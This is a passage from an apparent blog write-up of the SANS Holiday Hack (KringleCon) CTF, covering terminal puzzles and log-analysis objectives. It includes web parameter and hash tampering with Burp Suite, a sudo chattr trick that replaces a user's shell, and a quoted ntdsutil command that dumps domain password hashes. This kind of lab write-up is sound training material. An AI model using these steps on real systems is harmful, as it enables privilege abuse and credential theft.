Hacking, Coding and Gaming | @[email protected]
  1. About
  2. Terminals
    1. Escape Ed
    2. Smart Bracers
    3. Frosty Keypad
    4. Graylog
    5. Holiday Hack Trail
      1. Beating the hash
      2. Invulnerability
    6. Linux Path
    7. Mongo Pilfer
    8. Nyanshell
    9. Xmas Cheer Laser
    10. Zeek JSON Analysis
  3. Objectives
    1. Find the Turtle Doves
    2. Unredact Threatening Document
    3. Windows Log Analysis: Evaluate Attack Outcome
    4. Windows Log Analysis: Determine Attacker Technique
    5. Network Log Analysis: Determine Compromised System
    6. Splunk
    7. Get Access To The Steam Tunnels
    8. Bypassing the Frido Sleigh CAPTEHA
    9. Retrieve Scraps of Paper from Server
    10. Recover Cleartext Document
    11. Open the Sleigh Shop Door
    12. Filter Out Poisoned Sources of Weather Data
  4. Other
    1. Final screen
    2. Map
    3. Santa's helper

About:

The SANS Holiday Hack, aka Kringlecon more recently, is a great online challenge/ctf/game. You're typically given a bunch of vidoes (or in the past links to videos or blog posts) giving you most - if not all - of what you need to complete the Objectives. This years videos can be found at here.

There are "in-game" terminals which offer some challenges, and typically an elf standing near them will tell you what's required of you, and give you clues to solving objectives once the terminal is complete. The objectives progress/unlock the story line.


Terminals:

1. Escape Ed

At the Train Station, Bushy Evergreen tells us:

Hi, I'm Bushy Evergreen. Welcome to Elf U!

I'm glad you're here. I'm the target of a terrible trick.

Pepper Minstix is at it again, sticking me in a text editor.

Pepper is forcing me to learn ed.

Even the hint is ugly. Why can't I just use Gedit?

Please help me just quit the grinchy thing.

Solution: Pressing "q" and "enter" exits this old editor and completes the terminal.

2. Smart Bracers

In the Student Union, Kent Tinseltooth tells us:

OK, this is starting to freak me out!

Oh sorry, I'm Kent Tinseltooth. My Smart Braces are acting up.

Do... Do you ever get the feeling you can hear things? Like, voices?

I know, I sound crazy, but ever since I got these... Oh!

Do you think you could take a look at my Smart Braces terminal?

I'll bet you can keep other students out of my head, so to speak.

It might just take a bit of Iptables work.

...

OK, this is starting to freak me out!

We're told about a file to review, which says:

# ElfU Research Labs - Smart Braces
### A Lightweight Linux Device for Teeth Braces
### Imagined and Created by ElfU Student Kent TinselTooth

This device is embedded into one's teeth braces for easy management and monitoring of dental status. It uses FTP and HTTP for management and monitoring purposes but also has SSH for remote access. Please refer to the management documentation for this purpose.

## Proper Firewall configuration:

The firewall used for this system is `iptables`. The following is an example of how to set a default policy with using `iptables`:

sudo iptables -P FORWARD DROP

The following is an example of allowing traffic from a specific IP and to a specific port:

sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT

A proper configuration for the Smart Braces should be exactly:

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

Solution:

sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP

sudo iptables -A INPUT  -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

sudo iptables -A INPUT -p tcp -s 172.19.0.225 --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT

sudo iptables -A INPUT -p tcp --dport 21 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT

sudo iptables -A OUTPUT -p tcp --dport 80 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT

sudo iptables -A INPUT -i lo -j ACCEPT

3. Frosty Keypad

To the middle right of the Quad we find Tangle Coalbox standing beside a keypad, who says:

Hey kid, it's me, Tangle Coalbox.

I'm sleuthing again, and I could use your help.

Ya see, this here number lock's been popped by someone.

I think I know who, but it'd sure be great if you could open this up for me.

I've got a few clues for you.

  1. One digit is repeated once.
  2. The code is a prime number.
  3. You can probably tell by looking at the keypad which buttons are used.

The numbers 1, 3 and 7 have some wear. I couldn't help but notice that "1337" could be typed with these numbers, which didn't work... but reversed it did.

Solution:: 7331

4. Graylog

The keypad (above) gives us access to the Dormitory where we find Pepper Minstix:

It's me - Pepper Minstix.

Normally I'm jollier, but this Graylog has me a bit mystified.

Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala.

Some Elf U computers were hacked, and I've been tasked with performing incident response.

Can you help me fill out the incident response report using our instance of Graylog?

It's probably helpful if you know a few things about Graylog.

Event IDs and Sysmon are important too. Have you spent time with those?

Don't worry - I'm sure you can figure this all out for me!

Click on the All messages Link to access the Graylog search interface!

Make sure you are searching in all messages!

The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner.

Login with the username elfustudent and password elfustudent.

I mostly fumbled my way through the 10 questions for this objective, rather than using (or knowing) EventIds properly - though did find http://techgenix.com/logon-types/ helpful.

Rather read https://pollev.github.io/Kringlecon-2-Turtle-Doves/#graylog for decent solutions to this terminal.

5. Holiday Hack Trail

To the right from the Dormitory entrance is Minty Candycane:

Hi! I'm Minty Candycane!

I just LOVE this old game!

I found it on a 5 1/4" floppy in the attic.

You should give it a go!

If you get stuck at all, check out this year's talks.

One is about web application penetration testing.

Good luck, and don't get dysentery!

We have to solve this terminal on "Hard" difficulty to complete it.

Playing on "Easy" mode gives us an address bar of sorts in which we can tamper with parameters to more easily finish the game.

On "Medium" difficulty the parameters are moved in to hidden field parameters. Using the browser's developer tools we can find a DIV, with an id of "statusContainer", containing the fields. Changing "distance" to 7999 and clicking "Go" gives us a pretty quick win.

On "Hard" difficulty a "hash" field is added and server-side check is performed to prevent tampering of parameters.

5.1. Beating the hash

Starting a new game on "Hard", and not buying anything, gives a hash value of "bc573864331a9e42e4511de6f678aa83" which can be cracked on https://crackstation.net/, resulting in: 1626

This appears to be the md5 hash of all the field values (excluding "difficulty", "name", "health", "cond", "cause", "deathday" and "deathmonth" fields).

<input type="hidden" name="money" class="difficulty" value="1500">
<input type="hidden" name="distance" class="distance" value="0">
<input type="hidden" name="curmonth" class="difficulty" value="9">
<input type="hidden" name="curday" class="difficulty" value="1">
...
<input type="hidden" name="reindeer" class="reindeer" value="2">
<input type="hidden" name="runners" class="runners" value="2">
<input type="hidden" name="ammo" class="ammo" value="10">
<input type="hidden" name="meds" class="meds" value="2">
<input type="hidden" name="food" class="food" value="100">
<input type="hidden" name="hash" class="hash" value="bc573864331a9e42e4511de6f678aa83">

(in the corresponding "Web App" video we see similar hash functionality after the 5 minute mark on the right of the screen)

1500 + 0 + 9 + 1 + 2 + 2 + 10 + 2 + 100 = 1626

Once again we can modify the "distance" to 7999, but now need to calculate a new hash which can be done with https://www.md5hashgenerator.com/ :

1500 + 7999 + 9 + 1 + 2 + 2 + 10 + 2 + 100 = 9625 MD5 of 9625 = a330f9fecc388ce67f87b09855480ca3

5.2. Invulnerabilitiy

Start a new "Hard" game, proxying through Burp Suite. After the store screen, you should see a POST request in Burp Suite to "/trail/". Right click on it and "Send to Intruder":

Given most of the values we're likely to want to tamper with are numbers, on the "Payloads" tab put in payload options of "-10", "10" and "1000", then "Start attack":

This will make multiple web requests changing values one at a time. By looking at the result "Length" we can fairly easily see which requests were successful as well as which parameter was changed... such as the "health0" value:

In Burp Suite's "Proxy" -> "Option" tab we can setup a "Match and Replace" rule which should prepend "999" to the first character's health (eg: either "999100" or "9990"). The health value is capped at "100", but this should keep the first character alive indefinitely:

We can just spam the "Go" button until we complete the game (choosing the "Ford" when prompted) - the other 3 characters will very likely die, but we could setup a "Match and Replace" rule for each of them:

Not quite as fast as the previous method, but nice to have options :)

6. Linux Path

To the left of the quad is Hermey Hall where SugarPlum Mary says:

Oh me oh my - I need some help!

I need to review some files in my Linux terminal, but I can't get a file listing.

I know the command is ls, but it's really acting up.

Do you think you could help me out? As you work on this, think about these questions:

  1. Do the words in green have special significance?

  2. How can I find a file with a specific name?

  3. What happens if there are multiple executables with the same name in my $PATH?

It sounds like all we have to do is run "ls" (to get a file listing), doing so results in:

This isn't the ls you're looking for
elf@88aaad155f90:~$ which ls

So there's some stuff going on with paths and another binary named "ls"... we can just find and run the real "ls" like this:

elf@88aaad155f90:~$ find / 2>/dev/null | grep ls

/usr/lib/x86_64-linux-gnu/libgnutls.so.30
...
/bin/ls
/bin/false
/bin/lsblk
...
/etc/shells

elf@88aaad155f90:~$ /bin/ls
' '   rejected-elfu-logos.txt
Loading, please wait......


You did it! Congratulations!

Solution: /bin/ls

7. Mongo Pilfer

Heading up from Hermey Hall is Netwars room where we meet Holly Evergreen:

Hey! It's me, Holly Evergreen! My teacher has been locked out of the quiz database and can't remember the right solution.

Without access to the answer, none of our quizzes will get graded.

Can we help get back in to find that solution?

I tried lsof -i, but that tool doesn't seem to be installed.

I think there's a tool like ps that'll help too. What are the flags I need?

Either way, you'll need to know a teensy bit of Mongo once you're in.

Pretty please find us the solution to the quiz!

On the terminal is a "go.sh" file:

elf@9bc0a0e113f2:/data/db$ cat /go.sh
#!/bin/bash

# Start mongo
sudo -u mongo /usr/bin/mongod --quiet --fork --port 12121 --bind_ip 127.0.0.1 --logpath=/tmp/mongo.log 2>&1 > /dev/null

Which shows that MongoDB is in use (and gives us the port number), which we can connect to:

elf@9bc0a0e113f2:/data/db$ mongo --port 12121

MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3

Once connected to it we can list the databases that exist with "show dbs":

> show dbs
admin  0.000GB
elfu   0.000GB
local  0.000GB
test   0.000GB

And select a database to use with "use":

> use elfu
switched to db elfu

So that we can list the collections in it with "show collections"

> show collections
bait
chum
line
metadata
solution
system.js
tackle
tincan

We can view the contents of a collection with ".find()":

> db.solution.find({})
{ "_id" : "You did good! Just run the command between the stars: ** db.loadServerScripts();displaySolution(); **" }

Solution: "mongo --port 12121" then "use elfu; db.loadServerScripts();displaySolution();"

8. Nyanshell

Next to the Netwars room is the Speaker UNpreparedness Room, where Alabaster Snowball says:

Welcome to the Speaker UNpreparedness Room!

My name's Alabaster Snowball and I could use a hand.

I'm trying to log into this terminal, but something's gone horribly wrong.

Every time I try to log in, I get accosted with ... a hatted cat and a toaster pastry?

I thought my shell was Bash, not flying feline.

When I try to overwrite it with something else, I get permission errors.

Have you heard any chatter about immutable files? And what is sudo -l telling me?

I found this terminal quite interesting. We're given the credentials to Alabaster's account:

username: alabaster_snowball
password: Password2

And can see their shell is "/bin/nsh", which is run when they log in or we "su" as them:

elf@eab60db72044:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
elf:x:1000:1000::/home/elf:/bin/bash
alabaster_snowball:x:1001:1001::/home/alabaster_snowball:/bin/nsh

Using "sudo -l" we see we have access to "chattr"

elf@eab60db72044:~$ sudo -l
Matching Defaults entries for elf on eab60db72044:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User elf may run the following commands on eab60db72044:
    (root) NOPASSWD: /usr/bin/chattr

We have full read, write and execute access to "/bin/nsh", as shown by "ls":

elf@6943699e0a22:~$ ls -l /bin/nsh
-rwxrwxrwx 1 root root 75680 Dec 11 17:40 /bin/nsh

But we can't actually modify it as it's flagged as immutable:

elf@6943699e0a22:~$ lsattr /bin/nsh
----i---------e---- /bin/nsh

Using "chattr" we can undo that and replace "/bin/nsh" with "/bin/bash"

elf@6943699e0a22:~$ sudo chattr -i /bin/nsh

elf@6943699e0a22:~$ lsattr /bin/nsh
--------------e---- /bin/nsh

elf@6943699e0a22:~$ cp /bin/bash /bin/nsh

elf@6943699e0a22:~$ su alabaster_snowball
Password:
Loading, please wait......

You did it! Congratulations!

Solution: sudo chattr -i /bin/nsh; cp /bin/bash /bin/nsh; su alabaster_snowball

9. Xmas Cheer Laser

Left of Hermey Hall is The Laboratory and Sparkle Redberry:

I'm Sparkle Redberry and Imma chargin' my laser!

Problem is: the settings are off.

Do you know any PowerShell?

It'd be GREAT if you could hop in and recalibrate this thing.

It spreads holiday cheer across the Earth ...

... when it's working!

Here we enter the world of PowerShell. Pro-tip: piping stuff to "fl" makes stuff much easier to read (and avoids text being cut off)

PowerShell 6.2.3
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²
πŸ—²                                                                                πŸ—²
πŸ—² Elf University Student Research Terminal - Christmas Cheer Laser Project       πŸ—²
πŸ—² ------------------------------------------------------------------------------ πŸ—²
πŸ—² The research department at Elf University is currently working on a top-secret πŸ—²
πŸ—² Laser which shoots laser beams of Christmas cheer at a range of hundreds of    πŸ—²
πŸ—² miles. The student research team was successfully able to tweak the laser to   πŸ—²
πŸ—² JUST the right settings to achieve 5 Mega-Jollies per liter of laser output.   πŸ—²
πŸ—² Unfortunately, someone broke into the research terminal, changed the laser     πŸ—²
πŸ—² settings through the Web API and left a note behind at /home/callingcard.txt.  πŸ—²
πŸ—² Read the calling card and follow the clues to find the correct laser Settings. πŸ—²
πŸ—² Apply these correct settings to the laser using it's Web API to achieve laser  πŸ—²
πŸ—² output of 5 Mega-Jollies per liter.                                            πŸ—²
πŸ—² Use (Invoke-WebRequest -Uri http://localhost:1225/).RawContent for more info.  πŸ—²
πŸ—²                                                                                πŸ—²
πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²πŸ—²

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
HTTP/1.1 200 OK
Server: Microsoft-NetCore/2.0
Date: Wed, 11 Dec 2019 15:20:44 GMT

<html>
<body>
<pre>
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off

Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output

Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0

Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10

Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1

Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
</pre>
</body>
</html>

So we have to calibrate this "laser", following a set of clues, and making HTTP calls. We start with "/home/callingcard.txt":

PS /home/elf> type /home/callingcard.txt
  What's become of your dear laser?
  Fa la la la la, la la la la
  Seems you can't now seem to raise her!
  Fa la la la la, la la la la
  Could commands hold riddles in hist'ry?
  Fa la la la la, la la la la
  Nay! You'll ever suffer myst'ry!
  Fa la la la la, la la la la

The clue is history. Zooming out enough to fit everything on the screen (before I learnt about "| fl") :

PS /home/elf> history

  Id CommandLine
  -- -----------
   1 Get-Help -Name Get-Process
   2 Get-Help -Name Get-*
   3 Set-ExecutionPolicy Unrestricted
   4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm
   5 Get-Service | Export-CSV c:\service.csv
   6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv
   7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
   8 Get-EventLog -Log "Application"
   9 I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items.
  10 type /home/callingcard.txt
  11 (Invoke-WebRequest -Uri http://localhost:1225/).RawContent

Item 7 gives us our angle value of 65.5. Item 9 gives us our next clue, ENV variables? ChildItems? It turns out there's a command for that:

PS /home/elf> Get-ChildItem Env:

    Name                           Value
    ----                           -----
    _                              /root/CheerLaserService
    DOTNET_SYSTEM_GLOBALIZATION_I… false
    HOME                           /home/elf
    HOSTNAME                       2874d7c7dfaf
    LANG                           en_US.UTF-8
    LC_ALL                         en_US.UTF-8
    LOGNAME                        elf
    MAIL                           /var/mail/elf
    PATH                           /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
    PSModuleAnalysisCachePath      /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache
    PSModulePath                   /home/elf/.local/share/powershell/Modules:/root/.local/share/powershell/Modules:/usr/local/share/powershell/Modules:/opt/microsoft/powershell/6/Modules
    PWD                            /home/elf
    RESOURCE_ID                    9316d64c-54c8-474c-b08a-c3778aa90a7c
    riddle                         Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.
    SHELL                          /home/elf/elf
    SHLVL                          1
    TERM                           xterm
    USER                           elf
    userdomain                     laserterminal
    USERDOMAIN                     laserterminal
    username                       elf
    USERNAME                       elf

We're after the "riddle", which tells us to look in "/etc" (so "cd /etc"):

PS /etc> Get-ChildItem -recurse | Sort LastWriteTime
    ...

        Directory: /etc/apt

    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    --r---          12/11/19  4:15 PM        5662902 archive

Back in our home directory:

PS /home/elf> Expand-Archive /etc/apt/archive .
PS /home/elf> cd refraction
PS /home/elf/refraction> Get-ChildItem


    Directory: /home/elf/refraction

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------           11/7/19 11:57 AM            134 riddle
------           11/5/19  2:26 PM        5724384 runme.elf


PS /home/elf/refraction> type riddle
    Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:

    25520151A320B5B0D21561F92C8F6224

There's a "depths" directory in our home directory, so we have to find the MD5 of each filename in it and then presumably look at that file:

PS /home/elf> cd /home/elf/depths
PS /home/elf> Get-ChildItem -Filter *.txt |
Foreach-Object {
  Get-FileHash -Algorithm MD5 $_.FullName
}

    ...
    MD5             25520151A320B5B0D21561F92C8F6224                                       /home/elf/depths/produce/thhy5hll.txt
    ...

And it's contents:

PS /home/elf> type /home/elf/depths/produce/thhy5hll.txt
    temperature?val=-33.5

    I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName's to Sort Length.

There's the temperature value of -33.5

Now to sort by fullname length:

PS /home/elf/depths> Get-ChildItem -recur -Filter *.txt | Select-Object FullName, @{n="FullNameLength";e={ $_.fullname.length }} | Sort FullNameLength | fl

FullName       : /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vot
                 e/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/c
                 ool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accur
                 ate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident
                 /labor/sail/dropped/fox/0jhj5xz6.txt
FullNameLength : 388

And that file's contents:

type /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt

    Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:

    bushy
    alabaster
    minty
    holly

    Do this for me and then you /shall/see .

Okay...

PS /home/elf> get-process -IncludeUserName

     WS(M)   CPU(s)      Id UserName                       ProcessName
     -----   ------      -- --------                       -----------
     94.32     1.22       8 root                           CheerLaserServi
    102.36     1.61      54 elf                            elf
      3.39     0.03       1 root                           init
      3.52     0.00       7 root                           Processes
     94.27     1.37      32 root                           pwsh
      0.75     0.00      11 alabaster                      sleep
      0.75     0.00      31 bushy                          sleep
      0.75     0.00      46 minty                          sleep
      0.80     0.00      73 holly                          sleep
      0.80     0.00      76 root                           sleep
      3.48     0.00      53 root                           su
      3.81     0.00       9 root                           sudo
      3.88     0.00      29 root                           sudo
      3.91     0.00      44 root                           sudo
      3.86     0.00      71 root                           sudo


Stop-Process -ID 31 -Force
Stop-Process -ID 11 -Force
Stop-Process -ID 46 -Force
Stop-Process -ID 73 -Force


PS /home/elf> Stop-Process -ID 31 -Force
PS /home/elf> Stop-Process -ID 11 -Force
PS /home/elf> Stop-Process -ID 46 -Force
PS /home/elf> Stop-Process -ID 73 -Force

/usr/bin/Processes: line 59:     9 Killed                  /usr/bin/sudo -u alabaster /bin/bash -c "/bin/sleep 999999"
/usr/bin/Processes: line 59:    29 Killed                  /usr/bin/sudo -u bushy /bin/bash -c "/bin/sleep 999999"
/usr/bin/Processes: line 59:    44 Killed                  /usr/bin/sudo -u minty /bin/bash -c "/bin/sleep 999999"
/usr/bin/Processes: line 59:    71 Killed                  /usr/bin/sudo -u holly /bin/bash -c "/bin/sleep 999999"

PS /home/elf> Get-Content /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties or the lonely unique event Id.

Now some horribly XML work:

PS /home/elf> cd /etc
PS /etc> Get-ChildItem -Filter *.xml -recur


    Directory: /etc/systemd/system/timers.target.wants

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM       10006962 EventLog.xml



PS /home/elf> $XmlDocument.Objs.Obj.Props.I32 | Where {$_.N -eq 'Id'} | Group '#text'

Count Name                      Group
----- ----                      -----
    1 1                         {I32}
   39 2                         {I32, I32, I32, I32…}
  179 3                         {I32, I32, I32, I32…}
    2 4                         {I32, I32}
  905 5                         {I32, I32, I32, I32…}
   98 6                         {I32, I32, I32, I32…}



PS /home/elf> [xml]$XmlDocument = Get-Content -Path /etc/systemd/system/timers.target.wants/EventLog.xml
PS /home/elf> $test = $XmlDocument.Objs.Obj.Props.I32 | Where {$_.N -eq 'Id'} | Where {$_.'#text' -eq 1}
PS /home/elf> $test.ParentNode.OuterXml

  <S N="Value">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "`$correct_gases_postbody = @{`n O=6`n H=7`n He=3`n N=4`n Ne=22`n Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n"</S>

Note: this doesn't look like the "correct_gases_postbody" we're given above, but it gives us the gases values.

We still have a "runme.elf" to get back to:

PS /home/elf> chmod +x /home/elf/refraction/runme.elf
PS /home/elf> /home/elf/refraction/runme.elf
refraction?val=1.867

Giving us the refraction value of 1.867.

Solution:

(Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent;
(Invoke-WebRequest -Uri http://localhost:1225/api/refraction?val=1.867).RawContent;
(Invoke-WebRequest -Uri http://localhost:1225/api/temperature?val=-33.5).RawContent;
(Invoke-WebRequest -Uri http://localhost:1225/api/angle?val=65.5).RawContent;
$postParams = "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9"
(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body $postParams).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/output).RawContent

10. Zeek JSON Analysis

After completing "Objective 10: Open the Sleigh Shop Door", we gain access to the Sleigh Workshop and meet Wunorse Openslae:

Wunorse Openslae here, just looking at some Zeek logs.

I'm pretty sure one of these connections is a malicious C2 channel...

Wunorse Openslae here, just looking at some Zeek logs.

I'm pretty sure one of these connections is a malicious C2 channel...

Do you think you could take a look?

I hear a lot of C2 channels have very long connection times.

Please use jq to find the longest connection in this data set.

We have to kick out any and all grinchy activity!

If we extract the durations from the log file, we can "numeric sort" them:

elf@7935d124366b:~$ cat conn.log | jq -c '.duration' | sort -n | tail

870.55667
4333.288236
30493.79543
31642.774949
33074.076209
59396.15014
148943.160634
250451.490735
465105.432156
1019365.337758

The largest duration is at the bottom, and we can just grep for that line and print it nicely with "jq":

elf@7935d124366b:~$ cat conn.log | grep 1019365 | jq
{
  "ts": "2019-04-18T21:27:45.402479Z",
  "uid": "CmYAZn10sInxVD5WWd",
  "id.orig_h": "192.168.52.132",
  "id.orig_p": 8,
  "id.resp_h": "13.107.21.200",
  "id.resp_p": 0,
  "proto": "icmp",
  "duration": 1019365.337758,
  "orig_bytes": 30781920,
  "resp_bytes": 30382240,
  "conn_state": "OTH",
  "missed_bytes": 0,
  "orig_pkts": 961935,
  "orig_ip_bytes": 57716100,
  "resp_pkts": 949445,
  "resp_ip_bytes": 56966700
}

Solution: 13.107.21.200


Objectives:

1. Find the Turtle Doves

Find the missing turtle doves.

Solution: Head up to the quad, then up to "Student Union", where we find the two turtle doves.

2. Unredact Threatening Document

Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.

The letter is in the top left corner of the quad:

Clicking it opens a link to https://downloads.elfu.org/LetterToElfUPersonnel.pdf:

Opening it in Google Chrome allows us to select all of the text in the document copy and paste it elsewhere:

Date: February 28, 2019

To the Administration, Faculty, and Staff of Elf University 17 Christmas Tree Lane North Pole

From: A Concerned and Aggrieved Character

Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR ELSE!

Attention All Elf University Personnel,

It remains a constant source of frustration that Elf University and the entire operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE you to consider lending your considerable resources and expertise in providing merriment, cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical characters.

For centuries, we have expressed our frustration at your lack of willingness to spread your cheer beyond the inaptly-called β€œHoliday Season.” There are many other perfectly fine holidays and mythical characters that need your direct support year-round.

If you do not accede to our demands, we will be forced to take matters into our own hands. We do not make this threat lightly. You have less than six months to act demonstrably.

Sincerely,

--A Concerned and Aggrieved Character

Solution: DEMAND

3. Windows Log Analysis: Evaluate Attack Outcome

We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack. Bushy Evergreen is hanging out in the train station and may be able to help you out.

This challenge requires us to use "DeepBlueCLI" (which Bushy Evergreen tells us about after completing the "Escape Ed" terminal)

powershell -ExecutionPolicy ByPass -File DeepBlue.ps1 Security.evtx

...

Date    : 8/24/2019 2:00:20 AM
Log     : Security
EventID : 4672
Message : Multiple admin logons for one account
Results : Username: supatree
          User SID Access Count: 2
Command :
Decoded :

...

There was similar to the above output for "pminstix" and "DC1$", so a little guess work solved it.

Solution: supatree

4. Windows Log Analysis: Determine Attacker Technique

Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process. For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.

From the example on https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/ and at bottom of the file we see:

"command_line": "ntdsutil.exe  \"ac i ntds\" ifm \"create full c:\\hive\" q q",

Solution: ntdsutil

5. Network Log Analysis: Determine Compromised System

The attacks don't stop! Can you help identify the IP address of the malware-infected system using these Zeek logs? For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.

If we open the "beacons.html" file we're given, the top row is the highest score:

Source: 192.168.134.130, Destination: 144.202.46.214, Connections: 7660

Source: 192.168.134.130

6. Splunk

Access https://splunk.elfu.org/ as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along! For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.

I kinda fumbled my way through this objective and am too lazy to write it up properly - rather see https://pollev.github.io/Kringlecon-2-Turtle-Doves/#splunk

Solution: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

7. Get Access To The Steam Tunnels
